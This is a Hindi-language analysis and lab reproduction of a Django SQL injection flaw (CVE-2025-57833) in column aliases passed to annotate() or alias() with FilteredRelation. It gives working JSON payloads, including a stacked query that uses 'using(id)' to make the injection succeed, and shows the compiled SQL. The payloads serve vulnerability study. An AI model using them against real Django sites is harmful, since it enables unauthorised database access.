
Analysis and reproduction of CVE-2025-57833
Django एक वर्ष बाद पता चला SQL इंजेक्शन भेद्यता, मोटे तौर पर यह उपनाम के कारण होने वाला इंजेक्शन है (क्योंकि उपनाम को प्रीकंपाइल नहीं किया जा सकता)
यह भेद्यता Django फ्रेमवर्क में FilteredRelation सुविधा को प्रभावित करती है, जब QuerySet.annotate() या QuerySet.alias() विधियों का उपयोग किया जाता है, और पायथन के डिक्शनरी विस्तार (**kwargs) के माध्यम से कॉलम उपनाम प्रदान किए जाते हैं, तो SQL इंजेक्शन का जोखिम होता है। ऐसा इसलिए है क्योंकि डिक्शनरी कुंजियों (अर्थात कॉलम उपनाम) का पर्याप्त सत्यापन नहीं किया जाता है, जिससे हमलावर बिना प्रतिबंधित SQL स्टेटमेंट को इंजेक्ट करने के लिए दुर्भावनापूर्ण डिक्शनरी का निर्माण कर सकता है
इस भेद्यता का प्रभाव क्षेत्र है
यह भेद्यता परियोजना vscode के devcontainer का उपयोग करके बनाई गई है
1️⃣ परियोजना खोलें VS Code के साथ पहले से मौजूद परियोजना रूट डायरेक्टरी (.devcontainer फ़ोल्डर सहित) खोलें।
2️⃣ कंटेनर को पुनः खोलें (Dev Container बनाएं)
Ctrl+Shift+P (Windows/Linux) या Cmd+Shift+P (Mac) दबाएं
Remote-Containers: Reopen in Container टाइप करें
VS Code .devcontainer कॉन्फ़िगरेशन पढ़ेगा और कंटेनर बनाएगा (पहली बार बनाने में कुछ मिनट लग सकते हैं)
⚠️ यदि Dockerfile या निर्भरताएं अपडेट की गई हैं, तो Remote-Containers: Rebuild Container चुनें, यह सुनिश्चित करने के लिए कि नवीनतम वातावरण का उपयोग किया जाए।
3️⃣ Django डेवलपमेंट सर्वर चलाएं
कमांड पैनल Ctrl+Shift+P खोलें
Tasks: Run Task टाइप करें
django:start चुनें (कार्य .vscode/tasks.json में कॉन्फ़िगर किया गया है)
यह कार्य कंटेनर के अंदर Django डेवलपमेंट सर्वर शुरू करेगा
डिफ़ॉल्ट रूप से 0.0.0.0:8085 पर सुनता है
4️⃣ ब्राउज़र खोलें और परियोजना तक पहुंचें
ब्राउज़र खोलें और निम्नलिखित URL पर जाएं:
5️⃣ ध्यान देने योग्य बातें
पहली बार चलाने पर:
डेटाबेस माइग्रेशन निष्पादित करने की आवश्यकता हो सकती है:
python manage.py migrate
सर्वर शुरू होने के बाद http://localhost:8085 तक पहुंचें
/book/search एंडपॉइंट तक पहुंचें, सामान्य रूप से पहुंचें
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}

इस समय Django ORM द्वारा संकलित SQL है
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0
यह देखा जा सकता है कि vuln_author तालिका का एक उपनाम XXX बनाया गया है, उपरोक्त पैच विश्लेषण के आधार पर यह ज्ञात है कि वर्तमान में XXX पर कोई फ़िल्टर नहीं किया गया है, इसलिए इसमें इंजेक्शन किया जा रहा है।
सीधे स्टैक इंजेक्शन का उपयोग करने पर, पिछला पहला SQL अमान्य होने के कारण दूसरे SQL तक नहीं पहुंचा जाएगा
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}

इसलिए पहले स्टेटमेंट को वैध बनाना आवश्यक है, यहां चूंकि यह संबंध है, इसलिए सीधे using सिंटैक्स का उपयोग करें
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}

इस प्रकार इंजेक्शन सफल होता है, डेटाबेस का निष्पादन उपयोगकर्ता postgres पाया गया, इस समय सफलतापूर्वक संकलित SQL स्टेटमेंट है
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0